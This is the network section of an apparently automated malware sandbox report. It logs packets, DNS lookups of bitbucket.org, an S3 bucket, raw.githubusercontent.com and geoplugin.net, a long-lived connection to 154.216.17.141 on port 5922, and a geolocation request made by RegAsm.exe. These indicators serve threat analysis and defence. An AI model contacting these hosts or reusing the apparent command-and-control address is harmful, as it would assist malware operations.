Oct 21, 2024 17:05:22.970767975 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.971271038 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.974550009 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.974646091 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.974695921 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.974714041 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.974910975 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.025706053 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.025738955 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.025819063 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.025834084 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.025888920 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.025888920 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.055535078 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.055562973 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.055716991 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.055741072 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.055871010 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.056078911 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.056101084 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.056324959 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.056330919 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.056430101 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.058063984 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.058089018 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.058171988 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.058171988 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.058195114 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.058401108 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.060137987 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.060168982 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.060206890 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.060226917 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.060269117 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.060288906 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.060909033 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.060930967 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.060990095 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.061001062 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.061053038 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.061053038 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.062001944 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.062024117 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.062125921 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.062125921 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.062139034 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.062437057 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.107479095 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.107511997 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.107564926 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.107592106 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.107646942 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.107646942 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.136962891 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.137000084 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.137130976 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.137130976 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.137161016 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.137336969 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.137351990 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.137372017 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.137444019 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.137444019 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.137451887 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.137586117 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.138219118 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.138242006 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.138308048 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.138320923 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.138350010 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.138808966 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.139101982 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.139128923 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.139208078 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.139208078 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.139216900 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.139334917 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.139384985 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.139408112 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.139514923 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.139523983 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.139686108 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.140400887 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.140424013 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.140505075 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.140505075 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.140521049 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.140755892 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.141130924 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.141149998 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.141247988 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.141266108 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.141314983 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.141937971 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.141958952 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.142085075 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.142093897 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.142137051 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.142137051 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.142177105 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.142201900 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.142251015 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.142258883 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.142293930 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.142293930 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.143088102 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.143110037 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.143304110 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.143326044 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.143708944 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145087004 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145108938 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145194054 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145210981 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145240068 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145302057 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145525932 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145545959 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145592928 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145602942 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145616055 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145642042 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145646095 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145683050 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145683050 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145690918 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.145751953 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.145751953 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.188863993 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.188904047 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.188976049 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.189008951 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.189028978 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.190124035 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212048054 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212078094 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212196112 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212212086 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212272882 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212276936 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212291956 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212313890 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212368965 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212368965 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212377071 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212533951 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212553978 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212615013 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212615013 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212620974 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212703943 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212723970 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212744951 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.212824106 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212824106 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.212836027 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213047981 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213071108 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213093042 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213177919 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213177919 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213181973 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213267088 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213370085 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213388920 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213473082 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213473082 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213478088 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213510990 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213534117 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213592052 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213592052 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213597059 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213680029 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213697910 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213715076 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213720083 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.213790894 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.213790894 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.218724012 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.218744993 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.218789101 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.218835115 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.218843937 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.218843937 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.218858004 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.218980074 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.219000101 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.219038963 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.219063997 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.219063997 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.219073057 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.219086885 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:23.219137907 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.219137907 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.219772100 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:23.626089096 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:23.632108927 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:23.632179022 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:23.638025999 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:23.643457890 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.267529964 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.318536997 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.372847080 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.415294886 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.464296103 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.469880104 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.469996929 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.476387024 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.493490934 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.498827934 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.694657087 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.743441105 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.800620079 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.849761009 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.858247042 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:24.866900921 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:24.958507061 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:05:24.964570045 CEST	80	49812	178.237.33.50	192.168.2.6
Oct 21, 2024 17:05:24.964653015 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:05:24.965724945 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:05:24.971697092 CEST	80	49812	178.237.33.50	192.168.2.6
Oct 21, 2024 17:05:25.552651882 CEST	80	49812	178.237.33.50	192.168.2.6
Oct 21, 2024 17:05:25.552751064 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:05:25.563987970 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:25.569442034 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:26.633928061 CEST	80	49812	178.237.33.50	192.168.2.6
Oct 21, 2024 17:05:26.633991003 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:05:41.587690115 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:05:41.735948086 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:05:41.741410971 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:06:11.594551086 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:06:11.595941067 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:06:11.601382971 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:06:41.610932112 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:06:41.612391949 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:06:41.617960930 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:07:11.608716011 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:07:11.610266924 CEST	49805	5922	192.168.2.6	154.216.17.141
Oct 21, 2024 17:07:11.615617990 CEST	5922	49805	154.216.17.141	192.168.2.6
Oct 21, 2024 17:07:14.915230036 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:07:15.225039959 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:07:15.834378958 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:07:17.037523985 CEST	49812	80	192.168.2.6	178.237.33.50
Oct 21, 2024 17:07:19.447257042 CEST	49812	80	192.168.2.6	178.237.33.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 17:05:15.478352070 CEST	52859	53	192.168.2.6	1.1.1.1
Oct 21, 2024 17:05:15.486227036 CEST	53	52859	1.1.1.1	192.168.2.6
Oct 21, 2024 17:05:16.522131920 CEST	51006	53	192.168.2.6	1.1.1.1
Oct 21, 2024 17:05:16.541230917 CEST	53	51006	1.1.1.1	192.168.2.6
Oct 21, 2024 17:05:21.821723938 CEST	60436	53	192.168.2.6	1.1.1.1
Oct 21, 2024 17:05:21.828881979 CEST	53	60436	1.1.1.1	192.168.2.6
Oct 21, 2024 17:05:24.937035084 CEST	52852	53	192.168.2.6	1.1.1.1
Oct 21, 2024 17:05:24.945240021 CEST	53	52852	1.1.1.1	192.168.2.6
Oct 21, 2024 17:05:34.828758955 CEST	53	54370	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 21, 2024 17:05:15.478352070 CEST	192.168.2.6	1.1.1.1	0xc0b8	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.522131920 CEST	192.168.2.6	1.1.1.1	0xe91f	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:21.821723938 CEST	192.168.2.6	1.1.1.1	0x4bd2	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:24.937035084 CEST	192.168.2.6	1.1.1.1	0xd8c1	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 21, 2024 17:05:15.486227036 CEST	1.1.1.1	192.168.2.6	0xc0b8	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:15.486227036 CEST	1.1.1.1	192.168.2.6	0xc0b8	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:15.486227036 CEST	1.1.1.1	192.168.2.6	0xc0b8	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.161.161	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.36.188	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.164.161	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		16.15.184.63	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.23.236	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.168.193	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.191.17	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:16.541230917 CEST	1.1.1.1	192.168.2.6	0xe91f	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.191	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:21.828881979 CEST	1.1.1.1	192.168.2.6	0x4bd2	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:21.828881979 CEST	1.1.1.1	192.168.2.6	0x4bd2	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:21.828881979 CEST	1.1.1.1	192.168.2.6	0x4bd2	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:21.828881979 CEST	1.1.1.1	192.168.2.6	0x4bd2	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:24.945240021 CEST	1.1.1.1	192.168.2.6	0xd8c1	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:33.423366070 CEST	1.1.1.1	192.168.2.6	0xe1fc	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 17:05:33.423366070 CEST	1.1.1.1	192.168.2.6	0xe1fc	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:05:33.423366070 CEST	1.1.1.1	192.168.2.6	0xe1fc	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:06:05.676620007 CEST	1.1.1.1	192.168.2.6	0xa857	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 21, 2024 17:06:05.676620007 CEST	1.1.1.1	192.168.2.6	0xa857	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

bbuseruploads.s3.amazonaws.com

raw.githubusercontent.com

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49812	178.237.33.50	80	7436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 17:05:24.965724945 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Oct 21, 2024 17:05:25.552651882 CEST	1168	IN	HTTP/1.1 200 OK date: Mon, 21 Oct 2024 15:05:25 GMT server: Apache content-length: 960 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 32 31 36 2e 35 32 2e 31 38 33 2e 31 35 30 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 